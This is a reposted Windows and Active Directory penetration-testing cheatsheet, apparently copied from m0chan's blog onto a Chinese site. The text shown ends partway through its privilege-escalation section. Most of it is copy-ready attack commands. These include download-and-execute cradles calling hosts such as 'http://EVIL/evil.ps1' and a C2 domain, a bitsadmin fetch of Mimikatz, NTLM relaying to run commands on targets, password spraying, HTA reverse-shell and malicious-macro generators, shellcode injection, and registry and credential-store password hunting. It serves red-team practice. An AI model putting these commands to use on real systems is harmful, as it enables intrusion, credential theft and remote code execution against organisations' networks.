[转]Windows Notes And Cheatsheet

转载

Shad0wpf 于 2019-12-12 07:49:56 发布 435 收藏

分类专栏： 内网渗透 文章标签： 安全 渗透 Windows

原文链接：https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html

原文：https://github.com/m0chan/m0chan.github.io/blob/master/_posts/2019-07-30-Windows-Notes-and-Cheatsheet.md

文章目录

- LDAP
- RPC Enumeration
- Remote Desktop

Exploit

- LLMNR / NBT-NS Spoofing
- Responder WPAD Attack
- mitm6
- SCF File Attack
- NTLM-Relay
- Priv Exchange
- Exchange Password Spray
- ExchangeRelayX
- Exchange Mailbox Post-Compromise
- CrackMapExec
- Mail Sniper
- Kerberos Stuff
- MSSQL Exploiting (PowerUpSQL)
- Malicious Macro with MSBuild
- WeirdHTA - Undetectable HTA
- EvilWinRM
- GetVulnerableGPO
- Invoke-PSImage
- Meterpreter + Donut - Shellcode Injection .NET
- DemiGuise - Encrypted HTA
- Grouper2

Privilege Escalation

- Basics
- PowerUp.ps1 (Sometimes a Quick Win)
- SharpUp
- If It's AD Get Bloodhound Imported...
- Bloodhound-Python
- Cleartext Passwords
- View Installed Software
- Weak Folder Permissions
- Scheduled Tasks
- Powershell History
- View Connected Drives
- View Privs
- Is Anyone Else Logged In?
- View Registry Auto-Login
- View Stored Creds in Credential Manager

- View Unquoted Service Paths
- View Startup Items
- Check for AlwaysInstalledElevated Reg Key
- Any Passwords in Registry?
- Any Sysrep or Unattend Files Left Over
- GPP (Group Policy Preferences) Passwords
- Dump Chrome Passwords (Also Post Exploit)
- Dump KeePass
- Token Impersonation
- Juicy Potato
- Kerberoasting
- Kerberoast with Python
- AS Rep Roasting
- DCSync (Also Post Exploit)

Post Exploitation

- Useful Commands
- Esenutl.exe Dump Locked File
- Check if Powershell Logging is Enabled
- Run Seatbelt (ABSOLUTELY MUST)
- Dump Creds
- Dump Creds #2
- Running Mimikatz with GadgetToJScript or VBS
- SessionGopher
- Dump Chrome Passwords (Also Post Exploit)
- Dump Process Memory w/ Mimikittenz
- Dump KeePass
- pypykatz
- SafetyKatz
- SharpDPAPI
- SharpSniper
- SharpLocker
- Check for Missing KB's
- Decrypt EFS Files with Mimikatz if Admin/System
- UAC Bypass
- Golden Ticket Attack
- DCSync & Golden Ticket in One
- Child Domain to Forest Compromise
- Dump NTDS.dit
- SeBackupPrivlege - Dump NTDS.dit

Persistance

- SSH Shuttle
- SharPersist
- SharpDoor
- AutoRun Registry
- Run & Run Once
- Scheduled Tasks
- Windows Startup Folder
- EXE/DLL Hijacking
- Add User Account
- Persistence with Kerberos

Lateral Movement

- Plink
- Powershell Port Forward
- Invoke-SocksProxy
- Socat for Windows
- SharpExec
- Secure Sockets Funneling
- Chisel (Fast TCP Tunnel over HTTP secured by SSH)
- CrackMapExec
- WMIC Spawn Process
- WinRS
- Invoke-WMIExec.ps1
- Powershell Invoke-Command (Requires Port 5985)
- PSExec
- Powershell Remoting
- Configure Remote Service over SMB (Requires Local Admin on Target Machine)
- Pass-The-Hash
- Pass-The-Ticket

Obfuscation / Evasion Techniques

- Invoke-Obfusaction
- Invoke-CradleCraft
- Invoke-DOSfuscation
- Unicorn

AppLocker / Constrained Mode Bypasses

- Verify If You Are in Constrained Mode
- PowershellVeryLess Bypass
- World Writable Folders (By Default on Windows 10 1803)
- Downgrade Attack
- AppLocker COR Profile Bypass
- MSBuild Powershell/CMD Bypass

PSAttack

NoPowerShell

runDLL32 Bypass

PSByPassCLM

File Transfer

TFTP

```
m0chan Machine
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>
```

FTP

```
echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

VBS Script

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs



cscript wget.vbs <url> <out_file>

Use echoup function on pentest.ws to generate echo commands.
https://pentest.ws/features
```

Powershell

```
#https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")

#Powershell Download to Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

#下载后执行
echo IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1') | powershell -noprofile -

#Powershell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));
```

Powershell Base64

```
$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")
```

Secure Copy / pscp.exe

```
pscp.exe C:\Users\Public\m0chan.txt user@target:/tmp/m0chan.txt
pscp.exe user@target:/home/user/m0chan.txt C:\Users\Public\m0chan.txt
```

BitsAdmin.exe

```
cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\mimikatz.ex
e & start C:\Temp\binary.exe"
```

Remote Desktop

```
rdesktop 10.10.10.10 -r disk:linux='/home/user/filetransferout'
```

WinHTTP Com Object

```
[System.Net.WebRequest]::DefaultWebProxy
[System.Net.CredentialCache]::DefaultNetworkCredentials
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.resp
onseText
```

CertUtil

```
#File Transfer

certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

#CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName
```

Curl (Windows 1803+)

```
curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-Blah
```

SMB

```
python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support
```

Enumeration

Basics

```
net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"

Get-ADUser
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController 10.10.14.10
Find-DomainShare


#Host Discovery
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do  @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL


#Reverse DNS Lookup
$ComputerIPAddress = "10.10.14.14"
[System.Net.Dns]::GetHostEntry($ComputerIPAddress).HostName
```

https://github.com/tevora-threat/SharpView

Users with SPN

```
Get-DomainUser -SPN

Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion
,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
```

Kerberos Enumeration

```
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
```

Red-Team CSharp Scripts

```
#https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

LDAPUtility.cs

Usage: ldaputility.exe options domain [arguments]

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan

Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.

See github linked above for full details.
```

Active Directory

```
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

# Get Current Domain Info - Similar to Get-Domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Get Domain Trust Info - Similar to Get-DomainTrust
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# View Domain Info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

#  View Domain Trust Information
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirecto
ry.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v

nltest /dsgetfti:<domain>

nltest /server:<ip_dc> /domain_trusts /all_trusts

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# View All Domain Controllers
nltest /dclist:offense.local
net group "domain controllers" /domain

# View DC for Current Session
nltest /dsgetdc:m0chanAD.local

# View Domain Trusts from CMD
nltest /domain_trusts

# View User Info from CMD
nltest /user:"m0chan"

# get domain name and DC the user authenticated to
klist

# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions

# View Kerb Tickets
klist

# View Cached Krbtgt
klist tgt

# whoami on older Windows systems
set u

#List all Usernames
([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAll().Properties.samaccountname

#List Administrators
```

```
([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname

#List all Info about Specific User

([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))").FindAll().Properties

#View All Users with Description Field Set

([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.samaccountna
me : $_.description }
```

AD Enumeration from Linux Box - AD Tool

```
#https://github.com/jasonwbarnett/linux-adtool

tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
./configure
make
make install

> adtool list ou=user,dc=example,dc=com
CN=allusers,OU=user,DC=example,DC=com
OU=finance,OU=user,DC=example,DC=com
OU=administration,OU=user,DC=example,DC=com

> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail jsmith@example.com
```

SharpView Enumeration

```
#https://github.com/tevora-threat/SharpView

Get-DomainFileServer
Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon
```

SMB Enumeration

```
nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
enum4linux 1.3.3.7
smbmap -H 1.3.3.7
smbclient -L \\INSERTIPADDRESS
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]


#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 10.10.14.14
```

SNMP Enumeration

```
snmpwalk -c public -v1 10.10.14.14
snmpcheck -t 10.10.14.14 -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
snmpenum -t 10.10.14.14
```

MySQL Enumeration

```
nmap -sV -Pn -vv  10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
```

DNS Zone Transfer

```
dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

LDAP

```
ldapsearch -H ldap://<ip>
ldapwhoami
```

RPC Enumeration

```
rpcclient -U "10.10.14.14"
srvinfo
enumdomusers
enumalsgroups domain
lookupnames administrators
querydominfo
enumdomusers
queryuser <user>
lsaquery
lookupnames Guest
lookupnames Administrator
```

Remote Desktop

```
rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
```

Exploit

LLMNR / NBT-NS Spoofing

```
#Responder to Steal Creds

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0


LLMNR and NBT-NS is usually on by default and there purpose is to act as a fallback to DNS. i/e if you search \\HRServer\ but it dosent exist, Windows (by default) will send out a LLMNR broadcast across the network. By using Responder we can respond to these broadcasts and say something like

'Yeah I'm HRServer, authenticate to me and I will get a NTLMv2 hash which I can crack or relay. More on relaying below'
```

Responder WPAD Attack

```
responder -I eth0 wpad

By default, Windows is configured to search for a Web Proxy Auto-Discovery file when using the internet

Go to internet explorer and search for Google which automatically searches for a WPAD file...

Then take NTLMv2 hash and NTLM Relay it or send to cracking rig.
```

mitm6

```
#Use when WPAD attack is not working, this uses IPv6 and DNS to relay creds to a target.

By default IPV6 should be enabled.
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local

Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS = controlled by attacker.

ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i opens an interactive shell.

Shout out to hausec for this super nice tip.
```

SCF File Attack

```
Create .scf file and drop inside SMB Share and fire up Responder ;)


Filename = @m0chan.scf

[Shell]
Command=2
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

NTLM-Relay

```
Good article explaining differences between NTLM/Net-NTLMV1&V2

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes
.html

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

You CAN perform Pass-The-Hash attacks with NTLM hashes.
You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

PS: You CANNOT relay a hash back to itself.
PS: SMB Signing must be disabled to mitigate this, you can check with nmap scan or crackmapexec

crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt

This will tell you a list of hosts within a subnet which do not have SMB Signing enabled.

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)

How about we execute a command instead.

ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP
```

Priv Exchange

```
#https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Combine privxchange.py and ntlmrelayx

ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE

python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE -d m0chan
AD.local
```

Exchange Password Spray

```
#https://github.com/dafthack/MailSniper.git

Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter2019


#https://github.com/sensepost/ruler

./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v
```

ExchangeRelayX

```
#https://github.com/quickbreach/ExchangeRelayX

An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.


./exchangeRelayx.py -t https://mail.quickbreach.com
```

Exchange Mailbox Post-Compromise

```
#https://github.com/dafthack/MailSniper.git

Enumerate GlobalAddressList

Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username jamie@m0chanAD.local -Password Winter2019

Enumerate AD Usernames

Get-ADUsernameFromEWS -Emaillist .\users.txt

Enumerate Mailbox Folders

Get-MailboxFolders -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials Stored in Emails

Invoke-SelfSearch -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin

Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012
```

CrackMapExec

```
CrackMapExec is installed on Kali or get Windows Binary from Github.

Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler

Can execute plain commands with -X flag i/e

crcakmapexec smb 10.10.14.0/24 -x whoami

crcakmapexec smb 10.10.14.0/24 <- Host Discovery
crackmapexec smb 10.10.14.0/24 -u user -p 'Password'
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares


Can also PTH with CME

crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305dca15f4854e

cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local
-auth --shares


--local-auth is for Authenticating with Local Admin, good if Organisaton uses same local admin hash through netw
ork and not using LAPS

Dump Local SAM hashes

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth --sam

Running Mimikatz

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz

^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin

Enum AV Products

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M enum_avproducts
```

Mail Sniper

```
Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019

[*] Now spraying the OWA portal at https://m0chanAD.local/owa/

[*] SUCCESS! User:m0chan:Summer2019

Lmao, you really think Id use the pass Summer2019?
```

Kerberos Stuff

```
#https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
#https://m0chan.github.io/Kerberos-Attacks-In-Depth
```

MSSQL Exploiting (PowerUpSQL)

```
#https://github.com/NetSPI/PowerUpSQL

#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]

#Login in with Domain Account
Get-SQLConnectionTestThreaded

#Login in with Default Password
Get-SQLServerDefaultLoginPw

#List DB, Tables & Columns

Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>

#Search Column Names for Word

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10

#Try to Execute Commands (RCE)

Invoke-SQLOSCmd


#Enable XP_CMDShell Process

EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
xp_cmdshell '<cmd>'
go
```

Malicious Macro with MSBuild

```
#https://github.com/infosecn1nja/MaliciousMacroMSBuild

#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained

Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba

Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018

Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github
```

WeirdHTA - Undetectable HTA

```
#https://github.com/felamos/weirdhta

python3 --help
python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell)
python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb)
python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\system32\cmd.exe' (custom command)
```

EvilWinRM

```
#https://github.com/Hackplayers/evil-winrm

Ultimate Shell for WinRM Connections

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KE
Y_PATH ] [-k PRIVATE_KEY_PATH ]
    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -h, --help                       Display this help message
```

GetVulnerableGPO

```
#https://github.com/gpoguy/GetVulnerableGPO

PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see t
he GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security
-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more
 easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setu
p.zip
```

Invoke-PSImage

```
#https://github.com/peewpw/Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It
generates a oneliner for executing either from a file of from the web.

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
   [Oneliner to execute from a file]


PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
   [Oneliner to execute from the web]
```

Meterpreter + Donut - Shellcode Injection .NET

```
#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html

A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and
 interactively!

donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin

use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin
set SESSION 1
run
```

DemiGuise - Encrypted HTA

```
#https://github.com/nccgroup/demiguise

Run the demiguise.py file, giving it your encryption-key, payload-type, output file-name and command that you wa
nt the HTA run.

Example: python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o
```

Grouper2

```
#https://github.com/l0ss/Grouper2

Find vulnerabilities in AD Group Policy

Grouper2 is a tool for pentesters to help find security-related misconfigurations in Active Directory Group Poli
cy.
```

Privilege Escalation

Reference: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Run this script: https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat

Basics

```
systeminfo
wmic qfe
net users
hostname
whoami
net localgroups
echo %logonserver%
netsh firewall show state
netsh firewall show config
netstat -an
type C:\Windows\system32\drivers\etc\hosts
```

PowerUp.ps1 (Sometimes a Quick Win)

```
powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChecks
```

SharpUp

```
#https://github.com/GhostPack/SharpUp

C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.
```

If It's AD Get Bloodhound Imported…

```
SharpHound.ps1
SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound

IEX(System.Net.WebClient.DownloadString('http://webserver:4444/SharpHound.ps1'))

Invoke-CollectionMethod All

Import .zip to Bloodhound

If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manually. It's a
 big big pain but it works.
```

Bloodhound-Python

```
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .

bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc DOMAINCONTROLLER.m0chanAD.local -c all
```

Cleartext Passwords

```
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

View Installed Software

```
tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

Weak Folder Permissions

```
Full Permissions for 'Everyone' on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

Modify Permissions for Everyone on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
```

Scheduled Tasks

```
schtasks /query /fo LIST /v
```

Powershell History

```
type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

View Connected Drives

```
net use
wmic logicaldisk get caption,description

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

View Privs

```
whoami /priv

Look for SeImpersonate, SeDebugPrivilege etc
```

Is Anyone Else Logged In?

```
qwinsta
```

View Registry Auto-Login

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultD
omainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | se
lect "Default*"
```

View Stored Creds in Credential Manager

```
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```

View Unquoted Service Paths

```
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\
" 2>nul |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and
 $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```

View Startup Items

```
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
